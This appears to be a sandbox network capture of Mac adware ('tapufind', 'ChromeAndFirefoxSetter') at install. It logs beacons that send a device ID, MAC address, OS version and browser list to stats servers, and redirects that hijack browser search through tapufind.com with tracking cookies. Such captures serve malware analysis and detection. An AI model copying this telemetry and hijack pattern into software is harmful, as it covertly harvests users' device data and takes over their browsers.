Feb 14, 2019 13:00:02.542749882 MEZ	3425	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:01 GMT Content-Length: 0
Feb 14, 2019 13:00:03.920363903 MEZ	3429	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 466 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:04.047197104 MEZ	3430	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:03 GMT Content-Length: 0
Feb 14, 2019 13:00:04.051501989 MEZ	3430	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 460 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:04.178158998 MEZ	3431	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:03 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.0.50	49301	13.66.51.223	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:02.121141911 MEZ	3189	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.macapproduct.com Content-Type: application/json Connection: keep-alive Accept: / User-Agent: tapufind (unknown version) CFNetwork/893.13.1 Darwin/17.3.0 (x86_64) Content-Length: 471 Accept-Language: en-us Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:02.121151924 MEZ	3189	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"Distributer=mcwnet_ChannelId=004_BarcodeId=52413004","Data2":"","Data3":"","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","Ver
Feb 14, 2019 13:00:02.248445988 MEZ	3191	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Set-Cookie: ASP.NET_SessionId=1psumadovbs2cagras4ekmgc; path=/; HttpOnly X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:01 GMT Content-Length: 0
Feb 14, 2019 13:00:12.549560070 MEZ	3552	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.macapproduct.com Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=1psumadovbs2cagras4ekmgc Accept-Language: en-us Content-Length: 1296 Accept-Encoding: gzip, deflate User-Agent: tapufind (unknown version) CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:12.549607038 MEZ	3553	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data3":"1.0.0.5","Data5":"chrome:(null);firefox:(null);safari:11.0.2","Data6":"Safari.app","Data8":"user","Data10":"68:5B:35:D3:6A:01","Data11":"Version 10.13.2
Feb 14, 2019 13:00:12.684799910 MEZ	3655	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:11 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.0.50	49302	13.66.51.223	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:03.264436007 MEZ	3426	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Content-Type: application/json Connection: keep-alive Accept: / User-Agent: ChromeAndFirefoxSetter (unknown version) CFNetwork/893.13.1 Darwin/17.3.0 (x86_64) Content-Length: 436 Accept-Language: en-us Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:03.264491081 MEZ	3426	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"1.0.0.1","Data2":"","Data3":"","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","VersionString":"1.0.0.0","DistributerName":"mcw
Feb 14, 2019 13:00:03.391551018 MEZ	3427	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 Set-Cookie: ASP.NET_SessionId=lfg2vrskbipot4citpjx2dxp; path=/; HttpOnly X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:02 GMT Content-Length: 0
Feb 14, 2019 13:00:03.483038902 MEZ	3427	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=lfg2vrskbipot4citpjx2dxp Accept-Language: en-us Content-Length: 435 Accept-Encoding: gzip, deflate User-Agent: ChromeAndFirefoxSetter (unknown version) CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:03.483071089 MEZ	3428	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"finish","Data2":"","Data3":"","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","VersionString":"1.0.0.0","DistributerName":"mcwn
Feb 14, 2019 13:00:03.610028028 MEZ	3428	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:03 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.0.50	49309	13.66.51.37	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:12.354547024 MEZ	3547	OUT	GET /tpmac.html?_publisher=mcwnet&_barcodeid=52413004&_deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c&_installDate=14-02-2019 HTTP/1.1 Host: search.tapufind.com Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive
Feb 14, 2019 13:00:12.482980967 MEZ	3551	IN	HTTP/1.1 302 Found Cache-Control: private Location: /tpmac.html?q= Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Set-Cookie: param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4enlF-6wdoQlc-OolePTLz-gpC4fFENArXjXOKtxlSolwZzKvztNbvkqXoIQzwLhtCZ01IeMYZE8p3MokiKZQ25VtmqQ7xMDUGu5xssIVE-2pe89knPY0TNfSSALHPXIbkjNFqbePLX5bkr7M5Cz6jzaQ7It7cho,; expires=Sun, 14-Feb-2021 12:00:12 GMT; path=/ Set-Cookie: _publisher=mcwnet; expires=Sun, 14-Feb-2021 12:00:12 GMT; path=/ Set-Cookie: _barcodeid=52413004; expires=Sun, 14-Feb-2021 12:00:12 GMT; path=/ Set-Cookie: _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; expires=Sun, 14-Feb-2021 12:00:12 GMT; path=/ Set-Cookie: _installDate=14-02-2019; expires=Sun, 14-Feb-2021 12:00:12 GMT; path=/ Set-Cookie: issubmit=true; path=/ Date: Thu, 14 Feb 2019 12:00:11 GMT Content-Length: 131 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 74 70 6d 61 63 2e 68 74 6d 6c 3f 71 3d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/tpmac.html?q=">here</a>.</h2></body></html>
Feb 14, 2019 13:00:13.009495020 MEZ	4515	OUT	GET /tpmac.html?q= HTTP/1.1 Host: search.tapufind.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Upgrade-Insecure-Requests: 1 Cookie: _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4enlF-6wdoQlc-OolePTLz-gpC4fFENArXjXOKtxlSolwZzKvztNbvkqXoIQzwLhtCZ01IeMYZE8p3MokiKZQ25VtmqQ7xMDUGu5xssIVE-2pe89knPY0TNfSSALHPXIbkjNFqbePLX5bkr7M5Cz6jzaQ7It7cho, User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive
Feb 14, 2019 13:00:13.142443895 MEZ	4837	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Set-Cookie: paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4enlF-6wdoQlc-OoLVA,,; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: ASP.NET_SessionId=2klbisjhrkfs0c2zacsoif2j; path=/; HttpOnly Content-Security-Policy-Report-Only: default-src 'self' k5a6w6w2.ssl.hwcdn.net; img-src ; connect-src 'self'; script-src 'self' k5a6w6w2.ssl.hwcdn.net code.jquery.com static.eu.criteo.net static.criteo.net .criteo.com display.online-adnetwork.com suggestqueries.google.com us.search.yahoo.com .siteplug.com s.yimg.com partnerads.ysm.yahoo.com csr.inspsearchapi.com 'unsafe-inline'; style-src 'self' fonts.googleapis.com 'unsafe-inline' k5a6w6w2.ssl.hwcdn.net; font-src ; frame-src 'self' display.online-adnetwork.com partnerads.ysm.yahoo.com; report-uri /csp.aspx?barcode=snapdo\|yhs Set-Cookie: paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4enlF-6wdoQlc-OoLVA,,; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: ASP.NET_SessionI Data Raw: Data Ascii:
Feb 14, 2019 13:00:13.142549038 MEZ	4838	IN	Data Raw: 3d 32 6b 6c 62 69 73 6a 68 72 6b 66 73 30 63 32 7a 61 63 73 6f 69 66 32 6a 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 73 70 5f 72 65 66 3d 3b 20 70 61 74 68 3d 2f 0d 0a 44 61 74 65 3a 20 54 68 Data Ascii: =2klbisjhrkfs0c2zacsoif2j; path=/; HttpOnlySet-Cookie: sp_ref=; path=/Date: Thu, 14 Feb 2019 12:00:12 GMTContent-Length: 4855\[Gv~R{W&9hndG8\|]$keXcX H$I{l $,#/J&ArNu7$
Feb 14, 2019 13:00:13.142693996 MEZ	4839	IN	Data Raw: a6 d4 6a aa c5 25 53 81 f0 c1 57 64 0c ee 94 d3 aa 07 00 b5 cf b1 96 cd f0 68 8c 72 26 a5 90 7d d5 79 78 1f ab f4 d1 68 f1 a3 91 e0 1b 6e 83 38 be ed 1a a0 cd 5b 2d d6 05 cc 3e b4 27 f7 7d 26 a3 08 1e 96 81 fd 62 0f 3a ad c2 a4 4a 0a 2f 3f da b2 Data Ascii: j%SWdhr&}yxhn8[->'}&b:J/?;!=71gkXf4o3YTH94T(NDA`cdHb~JW~nQY;dLWX@]uf\|*h7Hr8h7\aH>s3e'u[j
Feb 14, 2019 13:00:13.142744064 MEZ	4841	IN	Data Raw: be 62 2f c5 47 6a e6 40 a8 7f 7e 36 a3 2c 1a 6a 51 48 f6 73 cf 2d c5 9c a4 9d 97 b9 3f 00 8f 4a 30 e7 ae 78 b6 55 f3 e5 11 be a4 0e 5c eb 42 44 07 60 13 4f b2 cc ea 2e 99 b5 2b e4 fd f0 88 07 ab b9 f2 b5 cb 76 f9 da 8a 5d be 5c b2 af 2e e5 16 9b Data Ascii: b/Gj@~6,jQHs-?J0xU\BD`O.+v]\.B#6J.manS7aMA*RbPyEE.to{v}ps_4jMK[8!e+d{vK{w_(z&n9x

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.0.50	49311	65.52.32.169	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:12.418534040 MEZ	3548	OUT	GET /MaxMind.asmx/GetGeoInfo HTTP/1.1 Host: madmax.macapproduct.com Accept: / Accept-Language: en-us Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: tapufind (unknown version) CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:12.545547009 MEZ	3551	IN	HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Content-Encoding: gzip Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:11 GMT Content-Length: 263 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 1e ff 1e ef 16 65 7a 99 d7 4d 51 2d 3f fb 68 77 bc f3 51 9a 2f a7 d5 ac 58 5e 7c f6 d1 ba 3d df 3e f8 e8 f7 38 fa 8d 93 c7 4d 5b d3 47 29 b5 5e 36 9f 7d 34 6f db d5 a3 bb 77 db 7c b1 c2 ff d7 75 31 ae ea 8b bb 1f 1d ed 1e dc 1f ef 1e 3c 1c ef de df 19 3f d8 1b 9d 7c 7b f4 fa aa 68 7f 90 d7 65 b6 9c 8d e8 d9 7f 30 de dd df 3f 78 f8 60 ff d3 9d 87 f7 1e dc 1f 1d 50 db fb bb 3b f7 ef 3f dc 39 d8 db b9 b7 3b da a1 ff 1e df 95 fe 8e fe 1f 8f 29 46 28 a0 00 00 00 Data Ascii: `I%&/m{JJt`$@iG#)*eVe]f@{{;N'?\fdlJ!?~\|?"ezMQ-?hwQ/X^\|=>8M[G)^6}4ow\|u1<?\|{he0?x`P;?9;)F(

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.0.50	49312	13.84.45.249	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:13.240576029 MEZ	5070	OUT	GET / HTTP/1.1 Host: feed.tapufind.com Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive
Feb 14, 2019 13:00:13.368868113 MEZ	5372	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Location: //search.tapufind.com/?publisher=tapufindsf&feedid=infospace&dpid=yhs&hsimp=yhs-newtab&userid=syn_d955cead-824c-4550-9e89-02e36ed3c263&co=CH&type=YHS_TAPHP_100 Server: Microsoft-IIS/8.5 Request-Context: appId=cid-v1:c81b1c33-8037-4c54-b6ac-87ee3f2902c5 Set-Cookie: ASP.NET_SessionId=w4ck11wrlgxox22n34pflhik; path=/; HttpOnly X-AspNet-Version: 4.0.30319 Set-Cookie: ASP.NET_SessionId=w4ck11wrlgxox22n34pflhik; path=/; HttpOnly Set-Cookie: feeduid=syn_d955cead-824c-4550-9e89-02e36ed3c263; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/ Set-Cookie: SmFeedSearchParams=useragentbrowser=safari&u_ip=185.189.150.72&$host=feed.tapufind.com&userid=syn_d955cead-824c-4550-9e89-02e36ed3c263&co=CH; expires=Wed, 14-Feb-2029 12:00:13 GMT; path=/ X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:12 GMT Content-Length: 536 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 2f 73 65 61 72 63 68 2e 74 61 70 75 66 69 6e 64 2e 63 6f 6d 2f 3f 70 75 62 6c 69 73 68 65 72 3d 74 61 70 75 66 69 6e 64 73 66 26 61 6d 70 3b 66 65 65 64 69 64 3d 69 6e 66 6f 73 70 61 63 65 26 61 6d 70 3b 64 70 69 64 3d 79 68 73 26 61 6d 70 3b 68 73 69 6d 70 3d 79 68 73 2d 6e 65 77 74 61 62 26 61 6d 70 3b 75 73 65 72 69 64 3d 73 79 6e 5f 64 39 35 35 63 65 61 64 2d 38 32 34 63 2d 34 35 35 30 2d 39 65 38 39 2d 30 32 65 33 36 65 64 33 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="//search.tapufind.com/?publisher=tapufindsf&feedid=infospace&dpid=yhs&hsimp=yhs-newtab&userid=syn_d955cead-824c-4550-9e89-02e36ed3
Feb 14, 2019 13:00:13.368918896 MEZ	5372	IN	Data Raw: 63 32 36 33 26 61 6d 70 3b 63 6f 3d 43 48 26 61 6d 70 3b 74 79 70 65 3d 59 48 53 5f 54 41 50 48 50 5f 31 30 30 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 Data Ascii: c263&co=CH&type=YHS_TAPHP_100">here</a>.</h2></body></html><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.0.50	49313	13.66.51.37	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:13.579348087 MEZ	5885	OUT	GET /?publisher=tapufindsf&feedid=infospace&dpid=yhs&hsimp=yhs-newtab&userid=syn_d955cead-824c-4550-9e89-02e36ed3c263&co=CH&type=YHS_TAPHP_100 HTTP/1.1 Host: search.tapufind.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Upgrade-Insecure-Requests: 1 Cookie: _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4enlF-6wdoQlc-OolePTLz-gpC4fFENArXjXOKtxlSolwZzKvztNbvkqXoIQzwLhtCZ01IeMYZE8p3MokiKZQ25VtmqQ7xMDUGu5xssIVE-2pe89knPY0TNfSSALHPXIbkjNFqbePLX5bkr7M5Cz6jzaQ7It7cho, User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive
Feb 14, 2019 13:00:13.708209038 MEZ	6199	IN	HTTP/1.1 302 Found Cache-Control: private Location: /?q= Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Set-Cookie: param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: publisher=tapufindsf; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: feedid=infospace; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: dpid=yhs; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: hsimp=yhs-newtab; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: co=CH; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: type=YHS_TAPHP_100; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: issubmit=true; path=/ Date: Thu, 14 Feb 2019 12:00:13 GMT Content-Length: 121 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 71 3d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?q=">here</a>.</h2></body></html>
Feb 14, 2019 13:00:13.708224058 MEZ	6199	IN	Data Raw: 0a Data Ascii:
Feb 14, 2019 13:00:13.728127003 MEZ	6245	OUT	GET /?q= HTTP/1.1 Host: search.tapufind.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Upgrade-Insecure-Requests: 1 Cookie: co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive
Feb 14, 2019 13:00:13.858757019 MEZ	6561	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Set-Cookie: paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; path=/; HttpOnly Content-Security-Policy-Report-Only: default-src 'self' k5a6w6w2.ssl.hwcdn.net; img-src ; connect-src 'self'; script-src 'self' k5a6w6w2.ssl.hwcdn.net code.jquery.com static.eu.criteo.net static.criteo.net .criteo.com display.online-adnetwork.com suggestqueries.google.com us.search.yahoo.com .siteplug.com s.yimg.com partnerads.ysm.yahoo.com csr.inspsearchapi.com 'unsafe-inline'; style-src 'self' fonts.googleapis.com 'unsafe-inline' k5a6w6w2.ssl.hwcdn.net; font-src ; frame-src 'self' display.online-adnetwork.com partnerads.ysm.yahoo.com; report-uri /csp.aspx?barcode=tapufindsf\|yhs Set-Cookie: paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; expires=Sun, 14-Feb-2021 12:00:13 GMT; path=/ Set-Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; Data Raw: Data Ascii:
Feb 14, 2019 13:00:13.858867884 MEZ	6563	IN	Data Raw: 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 73 70 5f 72 65 66 3d 3b 20 70 61 74 68 3d 2f 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 31 34 20 46 65 62 20 32 30 31 39 20 31 32 3a 30 30 3a 31 33 20 47 4d 54 0d Data Ascii: ath=/; HttpOnlySet-Cookie: sp_ref=; path=/Date: Thu, 14 Feb 2019 12:00:13 GMTContent-Length: 4928\[Gv~R{We4#8&M<"uqlcP.5lvTUCY nla^g7n@lO%Xx 9UM6m ::UuBwo
Feb 14, 2019 13:00:13.858994007 MEZ	6564	IN	Data Raw: 70 ce f8 40 75 16 de 27 2a 7d 3c 5e fc 78 2c f8 46 db 20 8a 6f bb 06 68 b3 56 8b f4 00 b3 0f ed 49 7d 9f 70 13 c1 a3 32 54 bf 38 84 4e 2b 54 52 c5 99 97 1d 6f 59 d5 3b 21 ad 08 3d d7 88 80 98 d3 c1 35 46 98 cf c3 d0 0a b3 0f 8c 44 92 b6 09 83 8e Data Ascii: p@u'}<^x,F ohVI}p2T8N+TRoY;!=5FD,T#AU'4v]$qKA"!\FbvFWUL(U'62Lt+Tz`f\2(3SmkxcY]fCy6QB&(#y
